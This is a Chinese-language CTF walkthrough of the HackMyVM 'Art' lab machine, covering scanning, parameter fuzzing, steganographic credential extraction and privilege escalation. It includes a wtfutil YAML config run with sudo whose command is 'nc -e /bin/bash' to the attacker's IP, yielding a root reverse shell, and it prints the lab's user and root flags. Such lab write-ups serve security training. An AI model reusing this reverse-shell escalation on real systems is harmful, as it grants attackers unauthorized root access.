当前位置: 首页 > ops >正文

HackMyVM-Art

信息搜集

主机发现

┌──(kali㉿kali)-[~]
└─$ nmap -sn 192.168.43.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 03:00 EDT
Nmap scan report for 192.168.43.1
Host is up (0.0047s latency).
MAC Address: C6:45:66:05:91:88 (Unknown)
Nmap scan report for art (192.168.43.52)
Host is up (0.00031s latency).
MAC Address: 08:00:27:FF:B6:C9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for CET-AL00 (192.168.43.156)
Host is up (0.043s latency).
MAC Address: B2:A8:93:0D:FB:BD (Unknown)
Nmap scan report for DESKTOP-3NRITEO (192.168.43.197)
Host is up (0.00022s latency).
MAC Address: 04:6C:59:BD:33:50 (Intel Corporate)
Nmap scan report for kali (192.168.43.126)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.93 seconds

端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap --min-rate 10000 -p- 192.168.43.52 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 03:03 EDT
Nmap scan report for art (192.168.43.52)
Host is up (0.00036s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:FF:B6:C9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 1.80 seconds┌──(kali㉿kali)-[~]
└─$ nmap -sS -sV -O -p22,80 192.168.43.52  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 03:03 EDT
Nmap scan report for art (192.168.43.52)
Host is up (0.00030s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
MAC Address: 08:00:27:FF:B6:C9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.73 seconds

漏洞利用

看一下80端口有什么

在这里插入图片描述

┌──(kali㉿kali)-[~]
└─$ curl http://192.168.43.52
SEE HMV GALLERY!
<br><img src=abc321.jpg><br><img src=jlk19990.jpg><br><img src=ertye.jpg><br><img src=zzxxccvv3.jpg><br>
<!-- Need to solve tag parameter problem. -->

目录扫描,什么都没有

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.43.52 -w SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x html,txt,php,jpg,png,zip,git
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.43.52
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              zip,git,html,txt,php,jpg,png
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 170]
Progress: 9482032 / 9482040 (100.00%)
===============================================================
Finished
===============================================================

尝试模糊测试

┌──(root㉿kali)-[~]
└─# ffuf -w /home/kali/SecLists/Discovery/Web-Content/url-params_from-top-55-most-popular-apps.txt -u 'http://192.168.43.52/index.php?FUZZ=FUZZ' -fc 403 -fs 170 -s -c
tag
┌──(root㉿kali)-[~]
└─# ffuf -w /home/kali/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u 'http://192.168.43.52/index.php?tag=FUZZ' -fc 403 -fs 170,70 -c -s
beauty

找到了一个图片,下载下来看看有什么

┌──(kali㉿kali)-[~]
└─$ curl http://192.168.43.52/index.php?tag=beauty
SEE HMV GALLERY!
<br><img src=dsa32.jpg><br>
<!-- Need to solve tag parameter problem. -->
┌──(kali㉿kali)-[~]
└─$ stegseek dsa32.jpg 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek[i] Found passphrase: ""
[i] Original filename: "yes.txt".
[i] Extracting to "dsa32.jpg.out".

在这里插入图片描述

权限提升

链接ssh,看一下都有什么

lion@art:~$ ls -la
total 32
drwxr-xr-x 3 lion lion 4096 ago  3  2022 .
drwxr-xr-x 3 root root 4096 ago  3  2022 ..
lrwxrwxrwx 1 lion lion    9 ago  3  2022 .bash_history -> /dev/null                                                             
-rw-r--r-- 1 lion lion  220 ago  3  2022 .bash_logout
-rw-r--r-- 1 lion lion 3526 ago  3  2022 .bashrc
drwxr-xr-x 3 lion lion 4096 ago  3  2022 .local
-rw-r--r-- 1 lion lion  807 ago  3  2022 .profile
-rw------- 1 lion lion   24 ago  3  2022 user.txt
-rw------- 1 lion lion   49 ago  3  2022 .Xauthority
lion@art:~$ sudo -l
Matching Defaults entries for lion on art:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser lion may run the following commands on art:(ALL : ALL) NOPASSWD: /bin/wtfutil
lion@art:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
lion@art:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
lion@art:~$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
lion:x:1000:1000:lion,,,:/home/lion:/bin/bash

user.txt

lion@art:~$ cat user.txt 
HMVygUmTyvRPWduINKYfmpO

尝试利用wtfutil

在这里插入图片描述

提权

编辑一个a.yml
wtf:grid:columns: [20, 20]rows: [3, 3]refreshInterval: 1mods:uptime:type: cmdrunnerargs: ['-e','/bin/bash','192.168.43.126','1234']cmd: "nc"enabled: trueposition:top: 0left: 0height: 1width: 1refreshInterval: 30sudo -u root /bin/wtfutil --config=a.yml
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.43.126] from (UNKNOWN) [192.168.43.52] 47406
id
uid=0(root) gid=0(root) grupos=0(root)

root.txt

cat /var/opt/root.txt
mZxbPCjEQYOqkNCuyIuTHMV
http://www.xdnf.cn/news/10116.html

相关文章:

  • 【PostgreSQL 03】PostGIS空间数据深度实战:从地图服务到智慧城市
  • Axure中继器交互完全指南:核心函数解析×场景实战×避坑策略(懂得才能应用)
  • ssh连接断开,保持任务后台执行——tmux
  • MySQL索引与性能优化入门:让查询提速的秘密武器【MySQL系列】
  • 现代网络安全攻防技术与发展现状
  • 前端面经 websocket
  • Linux笔记---线程
  • 【Github/Gitee Webhook触发自动部署-Jenkins】
  • 数据库主键与索引详解
  • 2025年- H60-Lc168--35.搜索插入的位置(二分查找)--Java版
  • 关于xilinx pcie ip core管脚分配出现布局布线报错问题说明
  • IPD流程体系-TR2评审要素表
  • ThreeJS基础知识
  • JavaScript字符串方法全面指南:从基础到高级应用
  • 优质电子实验记录本如何确保数据不泄密?
  • python出租车计费 2023年信息素养大赛复赛/决赛真题 小学组/初中组 python编程挑战赛 真题详细解析
  • 基于element-UI 实现下拉框滚动翻页查询通用组件
  • 软件需求文档如何做精确度度量
  • write和read命令中的通道号指南
  • GRCh38版本染色体位置转换GRCh37(hg19)
  • 【leetcode】704. 二分查找
  • Java 基础 常见知识
  • 如何科学测量系统的最高QPS?
  • 深入理解 Git 底层机制:指针(Refs)、提交(Commit)与分支的关系
  • Re--题
  • 轻量级swiper插件推荐
  • 在线制作幼教早教行业自适应网站教程
  • TDengine 运维——巡检工具(定期检查)
  • AD9361 的工作原理
  • 正点原子Z15I ZYNQ 开发板发布!板载PCIe2.0、SPFx2、MIPI CSI等接口,资料丰富!